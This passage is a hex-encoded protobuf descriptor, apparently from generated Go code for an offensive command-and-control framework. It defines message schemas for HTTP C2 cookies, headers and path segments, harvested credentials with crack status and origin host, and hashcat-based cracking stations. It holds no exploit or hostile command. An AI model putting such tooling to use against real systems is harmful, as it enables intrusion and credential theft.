0x48, 0x54, 0x54, 0x50, + 0x43, 0x32, 0x43, 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x82, 0x01, 0x0a, + 0x0c, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, + 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x16, 0x0a, + 0x06, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4d, + 0x65, 0x74, 0x68, 0x6f, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, + 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, + 0x79, 0x22, 0x88, 0x01, 0x0a, 0x12, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x55, 0x52, 0x4c, 0x50, + 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x4d, 0x65, 0x74, 0x68, + 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, + 0x6f, 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, + 0x0b, 0x50, 0x72, 0x6f, 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x22, 0x90, 0x01, 0x0a, + 0x11, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d, 0x65, + 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, + 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x49, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x06, 0x49, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x3d, 0x0a, 0x0b, 0x53, 0x65, + 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, + 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, + 0x32, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x52, 0x0b, 0x53, 0x65, + 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x22, + 0x80, 0x02, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x0e, + 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, + 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x50, 0x6c, + 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x50, + 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x61, 0x73, 0x68, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x61, 0x73, 0x68, 0x12, 0x2e, 0x0a, 0x08, + 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, + 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1c, 0x0a, 0x09, + 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, + 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, + 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x22, 0x45, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, + 0x73, 0x12, 0x36, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, + 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x0b, 0x43, 0x72, + 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x22, 0x4d, 0x0a, 0x0d, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x3c, 0x0a, 0x0d, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xed, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, + 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, + 0x26, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x10, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, + 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, + 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, + 0x6e, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, + 0x69, 0x6e, 0x67, 0x12, 0x33, 0x0a, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, + 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x22, 0xa9, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x14, 0x0a, 0x05, + 0x53, 0x70, 0x65, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x53, 0x70, 0x65, + 0x65, 0x64, 0x12, 0x43, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x2e, + 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x50, + 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x1a, 0x3b, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x67, 0x72, + 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x3a, 0x02, 0x38, 0x01, 0x22, 0xc9, 0x01, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, + 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, + 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, + 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x48, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, + 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, + 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, + 0x73, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x22, 0xd9, 0x01, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, + 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, + 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x74, 0x61, 0x72, + 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, + 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, + 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, + 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x43, 0x6f, + 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, + 0x61, 0x6e, 0x64, 0x52, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x22, 0xfd, 0x03, 0x0a, + 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, + 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, + 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, + 0x52, 0x43, 0x48, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, + 0x48, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, + 0x69, 0x6f, 0x6e, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, + 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, + 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, + 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x46, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x09, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x42, 0x65, 0x6e, 0x63, + 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, + 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x12, 0x2d, 0x0a, 0x04, 0x43, 0x55, 0x44, 0x41, 0x18, + 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, + 0x52, 0x04, 0x43, 0x55, 0x44, 0x41, 0x12, 0x30, 0x0a, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, + 0x65, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, + 0x6f, 0x52, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x33, 0x0a, 0x06, 0x4f, 0x70, 0x65, 0x6e, + 0x43, 0x4c, 0x18, 0x66, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, + 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x1a, 0x3d, 0x0a, + 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, + 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa1, 0x02, 0x0a, + 0x0f, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, + 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, + 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, + 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, + 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, + 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, + 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, + 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, + 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, + 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x20, + 0x0a, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, + 0x22, 0xd9, 0x02, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, + 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, + 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, + 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, + 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, + 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, + 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, + 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, + 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, + 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, + 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, + 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, + 0x46, 0x72, 0x65, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4f, 0x70, 0x65, + 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x4f, 0x70, + 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 